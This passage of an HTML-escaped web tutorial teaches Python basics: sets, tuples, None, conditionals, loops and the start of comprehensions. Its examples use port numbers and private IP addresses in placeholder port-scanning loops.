&lt;span class="n"&gt;newly_opened&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scan2&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;scan1&lt;/span&gt;          &lt;span class="c1"&gt;# {3389, 5985} — in scan2 not scan1
&lt;/span&gt;&lt;span class="n"&gt;closed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scan1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;scan2&lt;/span&gt;                &lt;span class="c1"&gt;# {443, 8080} — in scan1 not scan2
&lt;/span&gt;&lt;span class="n"&gt;always_open&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scan1&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;scan2&lt;/span&gt;           &lt;span class="c1"&gt;# {22, 80} — intersection
&lt;/span&gt;
&lt;span class="c1"&gt;# Tuples — ordered, immutable
&lt;/span&gt;&lt;span class="n"&gt;coordinates&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;192&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;168&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;host_port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;      &lt;span class="c1"&gt;# Common pattern for socket connections
&lt;/span&gt;
&lt;span class="c1"&gt;# Unpacking
&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;host_port&lt;/span&gt;
&lt;span class="n"&gt;ip1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ip2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ip3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ip4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;coordinates&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.3 None — The Null Value
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# None represents absence of a value
&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;

&lt;span class="c1"&gt;# Check for None
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                     &lt;span class="c1"&gt;# Use "is None", not "== None"
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;No result&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Functions that don't return a value return None implicitly
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;do_something&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;                          &lt;span class="c1"&gt;# No return statement
&lt;/span&gt;
&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;do_something&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                          &lt;span class="c1"&gt;# None
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. Loops and Conditionals
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 Conditionals — if/elif/else
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Basic if/elif/else
&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HTTP&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HTTPS&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SSH&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;3389&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;RDP&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Unknown&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Port &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Comparison operators
# ==   equal
# !=   not equal
# &amp;gt;    greater than
# &amp;lt;    less than
# &amp;gt;=   greater or equal
# &amp;lt;=   less or equal
# is   identity (same object in memory)
# in   membership
&lt;/span&gt;
&lt;span class="c1"&gt;# Logical operators
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1023&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Unprivileged port&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HTTP variant&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Not HTTPS&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# One-line conditional (ternary)
&lt;/span&gt;&lt;span class="n"&gt;label&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;privileged&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;unprivileged&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# Chaining comparisons (Pythonic)
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;65535&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;User port range&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Truthiness — what evaluates as False:
# False, None, 0, 0.0, "", [], {}, set()
# Everything else is True
&lt;/span&gt;
&lt;span class="n"&gt;ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                          &lt;span class="c1"&gt;# Empty list is falsy
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;No open ports found&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                             &lt;span class="c1"&gt;# None is falsy
&lt;/span&gt;    &lt;span class="nf"&gt;process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2 Loops
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# for loop — iterate over any iterable
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3389&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Scanning port &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# range() — generate sequence of numbers
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;                    &lt;span class="c1"&gt;# 0 to 9
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;                 &lt;span class="c1"&gt;# 1 to 10
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;           &lt;span class="c1"&gt;# 0, 16, 32, ..., 240 (step 16)
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;254&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;           &lt;span class="c1"&gt;# Count down
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Iterate with index — enumerate()
&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.3&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Iterate over dictionary
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;scan_results&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Host: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;, Ports: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# while loop
&lt;/span&gt;&lt;span class="n"&gt;attempts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="n"&gt;max_attempts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;

&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;attempts&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;max_attempts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Attempt &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;attempts&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;attempts&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="c1"&gt;# Infinite loop with break
&lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;receive_data&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;                          &lt;span class="c1"&gt;# Exit loop
&lt;/span&gt;    &lt;span class="nf"&gt;process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Loop control
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1025&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;continue&lt;/span&gt;                       &lt;span class="c1"&gt;# Skip this iteration
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;                          &lt;span class="c1"&gt;# Exit loop entirely
&lt;/span&gt;    &lt;span class="nf"&gt;scan_port&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# else on loops — runs if loop completed without break
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1025&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;is_open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Found open port: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;No open ports found in range&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# Only runs if no break
&lt;/span&gt;
&lt;span class="c1"&gt;# Nested loops
&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Scanning &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.3 Comprehensions — Compact Loops
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# List comprehension
